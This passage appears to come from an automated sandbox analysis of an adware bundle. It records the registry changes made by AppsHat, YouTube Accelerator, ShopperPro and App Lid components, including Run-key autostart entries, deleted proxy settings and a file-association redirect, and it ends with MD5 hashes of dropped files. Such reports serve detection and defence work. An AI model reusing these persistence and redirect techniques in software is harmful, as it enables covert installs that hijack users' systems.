"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "80 DE 72 97 18 1A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process cscript.exe:1628 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "91 EC 3D 20 19 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayVersion" = "2.13"
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico"

"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\uninstall.exe _?=C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat"
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayName" = "AppsHat"
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\WebPlayer]
"AppsHat" = "1"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:2792 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "4B 0F B4 22 CA 9E 09 36 28 C6 3D 6E C2 DB 6C E8"

The process spbiu.exe:476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process wscript.exe:3140 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process GLB32D2.tmp:3296 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1418834619"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1418834619"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process 2c511d52-7693-4ed4-9079-996023e7571e-11.exe:2496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process taskeng.exe:3476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{B76CBE5F-4BE1-4B58-A694-0E5E2A70D1C7}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process taskeng.exe:908 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{466DA2D0-DDD9-4C0D-9009-3B40A476CC0E}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process smt_mystartsearch.exe:3960 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process %original file name%.exe:3836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process jsdrv.exe:3492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "04 D5 06 9E 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "2B 19 A6 A0 18 1A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "2B 19 A6 A0 18 1A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

MD5	File path
8d29173ab97c7f10abac51c57c9809c2	c:\Program Files (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-11.exe
5c90efe7717c8814b66e86d61837f8ec	c:\Program Files (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-4.exe
57e0b9d170db065be8a3cc1062032010	c:\Program Files (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-5.exe
ff55470f0c0ad29a41e8114ab62686ed	c:\Program Files (x86)\App Lid\2e557ab0-2598-41a4-9b03-eb21869ae6cc.exe
91be086f8b52633748b2f699dfe721b9	c:\Program Files (x86)\App Lid\App Lid-bg.exe
856e4e1196f4343cc30838697617b426	c:\Program Files (x86)\App Lid\App Lid-bho.dll
0c672a6d791672aca21b2560ac462c78	c:\Program Files (x86)\App Lid\App Lid-bho64.dll
60dd2898924eb2dae06ad86f1d17a9b5	c:\Program Files (x86)\App Lid\App Lid-buttonutil.dll
2865d4ca2dcdbfe537c9eaaff86ef6bf	c:\Program Files (x86)\App Lid\App Lid-buttonutil.exe
bb44a84aaad903827f259a4bfa4aec85	c:\Program Files (x86)\App Lid\App Lid-buttonutil64.dll
b7058016efcf5df4823f55c217708fd7	c:\Program Files (x86)\App Lid\App Lid-buttonutil64.exe
88899f7453a78f82fecb3423ec2b5e7c	c:\Program Files (x86)\App Lid\App Lid-codedownloader.exe
f0230864f4cd7368c6f4c34c4dcfdd6c	c:\Program Files (x86)\App Lid\Interop.IWshRuntimeLibrary.dll
b0a97330e544c557c514c92685274ead	c:\Program Files (x86)\App Lid\Newtonsoft.Json.dll
19e5ff7fcb5516d452066a5282d1c3fb	c:\Program Files (x86)\App Lid\SuperSocket.ClientEngine.Common.dll
88fd813fa7dee0768ab4dedfe74519b1	c:\Program Files (x86)\App Lid\SuperSocket.ClientEngine.Core.dll
3bcb75db42d028568f309fa5bade0cf8	c:\Program Files (x86)\App Lid\SuperSocket.ClientEngine.Protocol.dll
157ec1132dab6968acb7d5db251483e0	c:\Program Files (x86)\App Lid\Uninstall.exe
0eaeb7c08b7a615b987a1a202aea9529	c:\Program Files (x86)\App Lid\WebSocket4Net.dll
68b367efae098ca506188ce2afdd10db	c:\Program Files (x86)\App Lid\f72568d9-a3ec-45be-93e0-9f4ce730882b.exe
93618f322c99f9ae219a60d3e34a1b81	c:\Program Files (x86)\App Lid\utils.exe
fa3a8c206f05ddaddcfa52252a1f85b3	c:\Program Files (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe
7a6929020fe39401842d7fe7358ce46c	c:\Program Files (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.sys
fa3a8c206f05ddaddcfa52252a1f85b3	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
7a6929020fe39401842d7fe7358ce46c	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
c4e73f0019a5ab322c244a41047db966	c:\Program Files (x86)\ShopperPro\SPRemove.exe
c9ffde1bca23344b521061ca2321dd33	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
b324231a0762050e2796ded97bcd624a	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
2c9ca48fb10600cb673eb890eaea6270	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
0385889d6e0f530c62a771246c5bc535	c:\Program Files (x86)\ShopperPro\Updater.exe
1127390826a9409f6fd7ad99c4d4af18	c:\Program Files (x86)\VideoLAN\VLC\axvlc.dll
7dfb162693ceb4afbb2eb63d0f09d3f2	c:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
81b7512e37e94ec09779f89fe35b95aa	c:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
3f9f8e0f93d6fa7b7552077a3df171de	c:\Program Files (x86)\VideoLAN\VLC\npvlc.dll
488c560fdc560fa83e9e1d6f5469c841	c:\Program Files (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll
2e01a91d4d3c0e1e04fd62040d70f495	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll
5a5847d7dad7b90c8d7fe5c1be39df3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
f344111f902d663faca92ba33d56f246	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll
d85839521546692289617932ca678a0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll
4426916e512cdb8b61d9743daf979eb5	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll
088ec625e783ce38b830c3f9849ba098	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll
c4e9661fe6e0a0e26a8b39765657060b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll
11822bd64cb8d214be27e91add6f6c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll
69ca5bba77a6845770629a4dd90c5530	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll
0a487c532ee800947e66f6bcb4e470bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll
c257026d8bbc8c93e81f4180087c99fd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll
2704f1a9b198dd71a6649b751419c995	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
119f5e76809df866b6b91d6434d22280	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll
f188dc9b4aef4bec9265082a6041ff09	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
3e2afc8bf3d5be90e8a2510cddbf44f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll
541cdd17eefeb786d840f3d499595d69	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
27b6267ad6f6f6d83f77fb364cdb4157	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll
7475bf1b89b939bb46914a58456ee81c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
7f0e90aef2c137f36dfb1380e483204a	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll
a7b69a8c6f7be60c752ae8440ec51ac2	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
ecb5128a56137aa7dd720230deb023ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll
f0a5e4cc2451b10c469830ef68910c7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll
f41ca2d8f54d4a1b9d364e29273ce917	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll
49f54dbd4a10d5709083624b44e50de0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
4a2a5deb44eb1b229cbf2b70083a8a30	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll
11e5f3dcc2b7dbcda83d0be93cbe0bfd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
082d7e6365ecfcebeafd86975b549239	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll
ab5b7171e42f47fa067f40c57e622d49	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll
200d16835253bce1e5cdec85787f34d6	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll
9011fadfb818104bfa6d34b6a1004bdf	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll
c35e9d7f99bb2c5f92bb523544be7b28	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll
d255bd408f310732efe392fbf54d890b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll
2452c0ccd7273934d7a7b8a4460bb4ad	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll
76df7e3f0bba5164ce4a969d7e131dcc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll
95797343308a826985080fd87cdd02b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll
9e93d0078644f13d64a6ac178a4cbb05	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll
fcfe682b27ddb8756abcbfaec54ade9d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll
3901c5681fa2809909d3e670ddd95564	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll
0c3d46bb029a9efbcf2caf8a555b4044	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll
855eac0ee0ba091d12cf8d6603bbe7cd	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll
4c123cad33cee48230b9d48f248634b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll
5054915aa1068cc351dfe3ce9f4d9018	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll
457a09eb705555914d9573d705297fa8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll
b48b69095e73f621c159833cf3506260	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll
cd5d67fb809bafa2104cde857f2b5901	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll
84ded40967c5f98fd1b3834b5c239850	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll
4d237ba9df486795c3ed1a933fc6bc3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll
4dc4364e38769b24dd9439a6757df12d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll
16b881fa4dd7b8d595554d5f03b11307	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll
52198e9174a775c516b1db88475f0c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll
e5743909fb5e4cb16f925185c2e187fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll
b21e70522332396fd7b471a06d9cd713	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll
8571259f7305f845bd9cda576e27efd0	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll
9f8db453548b1887ffe816a4c29ee2ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll
596c4f9196e12f8fd2189da5dd5cf51b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll
20c901b1024fc1f420a135f354eba887	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll
44f65cd0629b69b81ffa1a185324f05b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll
f8b730483a751c28df26a98527062328	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll
143caf86de4633067996caa8984c06e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll
62a1c8033f4bf9aeb3a842b2ef03b0b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll
1e709d9bfdf56b72280593db83e463e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
f0df18c32f6939afe8015fff6608e4ba	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll
06ed2a7479311365c53159d58b1beaf3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
a1f04a15086378708738ef10e87cb979	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll
fb5383b88aff3be139bc4629be0f37c7	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll
fb30f0a9368d0e9f05a7c8f0f811ce18	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll
50298b7e4e340d1e01906c1bf277f28c	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll
ee7d51b12a06c7af55158442444b85ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll
c4891e5f9c04bc84070cdf45960f6497	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll
cb9b044ad81544d74b50190393dbb41d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll
b9c27b854aeda3fd21b5a89b25e7da64	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll
fde3cd8eccd734268db52e45f0549879	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll
626e86a7b19c9b241fb8f68a6b4b942e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll
7bfda7ad2c3e4e8ae8aab4c0f273d45d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll
